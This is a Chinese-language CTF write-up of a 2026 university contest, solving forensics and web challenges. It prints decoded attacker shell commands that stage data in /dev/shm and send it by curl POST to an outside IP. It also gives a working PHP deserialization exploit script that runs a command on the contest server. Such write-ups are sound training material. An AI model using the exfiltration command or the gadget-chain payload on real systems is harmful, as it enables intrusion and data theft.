【CTF】2026大连理工大学网络安全校赛题解

checkin

首先图片信息里有第一段DUTCTF{W31c0m3_

strings发现第二段t0_DUTCTF2026}

故flag为DUTCTF{W31c0m3_t0_DUTCTF2026}

谁动了我的策划书

解压两个office文件即可：

故flag为DUTCTF{0ff1c3_15_ju57_4_z1p}

browser

直接用Sqlite解析History文件即可：

序号	URL	状态说明	其他字段（被截断）
4	https://case-portal.example.invalid/cases/2026/april/draft/restore#step=1&part=DUT	Recovered draft - 1/4	1 - ... 4
5	https://case-portal.example.invalid/cases/2026/april/draft/restore#step=2&part=CTF%7Bbr0ws3r_	Recovered draft - 2/4	1 - ... 5
6	https://case-portal.example.invalid/cases/2026/april/draft/restore#step=3&part=h1story_1s_	Recovered draft - 3/4	1 - ... 6
7	https://case-portal.example.invalid/cases/2026/april/draft/restore#step=4&part=4ls0_ev1d3nc3%7D	Recovered draft - 4/4	1 - ... 7

故flag为DUTCTF{br0ws3r_h1story_1s_4ls0_ev1d3nc3}

SilentUpload

先还原十六进制：

BASH

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63007472756e63617465202d732030202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-ctruncate -s 0 /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63007072696e7466202734343535353434333534343637623737333327207c20787864202d72202d70203e3e202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-cprintf '4455544354467b7733' | xxd -r -p >> /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63007072696e7466202736323566366333303637356637343331366427207c20787864202d72202d70203e3e202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-cprintf '625f6c30675f74316d' | xxd -r -p >> /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63007072696e7466202733333663333136653333356637343333366327207c20787864202d72202d70203e3e202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-cprintf '336c316e335f74336c' | xxd -r -p >> /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63007072696e7466202736633733356637343638333335663733373427207c20787864202d72202d70203e3e202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-cprintf '6c735f7468335f7374' | xxd -r -p >> /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63007072696e74662027333037323739376427207c20787864202d72202d70203e3e202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-cprintf '3072797d' | xxd -r -p >> /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d630063686d6f6420363030202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-cchmod 600 /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d630073686132353673756d202f6465762f73686d2f2e63616368652f2e73657373696f6e" | xxd -r -p
/bin/sh-csha256sum /dev/shm/.cache/.session

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "2f62696e2f7368002d63006375726c202d73202d5820504f5354202d2d646174612d62696e61727920402f6465762f73686d2f2e63616368652f2e73657373696f6e20687474703a2f2f3139382e35312e3130302e3230302f636f6c6c656374" | xxd -r -p
/bin/sh-ccurl -s -X POST --data-binary @/dev/shm/.cache/.session http://198.51.100.200/collect

然后组合起来，再解码一次：

BASH

root@lsj-nas2:/vol1/1000/Sync/tmp# echo "4455544354467b7733625f6c30675f74316d336c316e335f74336c6c735f7468335f73743072797d" | xxd -r -p
DUTCTF{w3b_l0g_t1m3l1n3_t3lls_th3_st0ry}

故flag为DUTCTF{w3b_l0g_t1m3l1n3_t3lls_th3_st0ry}

Game Collection【赛后解出】

首先分析各个关卡的网页源码。

第一个为明文硬编码：

Flag1: DUTCTF{Ar3_7h

第二个游戏是char编码，解码即可。

JAVASCRIPT

h = String.fromCharCode(33, 32, 70, 108, 97, 103, 50, 32, 105, 115, 58, 32, 51, 95, 57, 64, 109, 101, 53)
//! Flag2 is: 3_9@me5

第三个游戏中的JS代码有混淆，分析源码可知，执行：

JAVASCRIPT

var _0x2f0952 = _0x19f9;
alert(_0x2f0952(0x1a5))
//You win! Flag3 is: _inTeRE

最后一个赛时没有想到，实则是访问robots.txt查看隐藏入口：

PLAINTEXT

Yeah! You did it! Here is the Flag4: s7in9?}

故flag为DUTCTF{Ar3_7h3_9@me5_inTeREs7in9?}

EZunserialize

首先访问，可以看到源码：

很明显是打反序列化。

直接绕过黑名单中的函数即可。不过要注意是无回显的，所以要把命令结果落盘。

PYTHON

import requests
import base64
import zlib

URL = "http://202.118.70.251:31326/"


def s(x):
    return f's:{len(x)}:"{x}";'


def obj(name, body):
    return f'O:{len(name)}:"{name}":{len(body)}:{{' + "".join(body) + "}"


runner = obj("Runner", [
    s("prefix") + s("cp "),
    s("cmd") + s("")
])

dispatcher = obj("Dispatcher", [
    s("cb") + runner,
    s("arg") + s("/f* /var/www/html/x.txt")
])

formatter = obj("Formatter", [
    s("pattern") + s("%s"),
    s("dispatcher") + dispatcher
])

logger = obj("Logger", [
    s("path") + s("/tmp/test.log")
])

meta = (
    'a:1:{'
    + s("note")
    + formatter +
    '}'
)

session = obj("Session", [
    s("meta") + meta,
    s("logger") + logger
])

payload = session.encode()

cookies = {
    "archive": base64.b64encode(payload).decode(),
    "check": str(zlib.crc32(payload) & 0xffffffff)
}

r = requests.get(URL, cookies=cookies)

print(r.text)

print("[+] flag:")
print(requests.get(URL + "x.txt").text)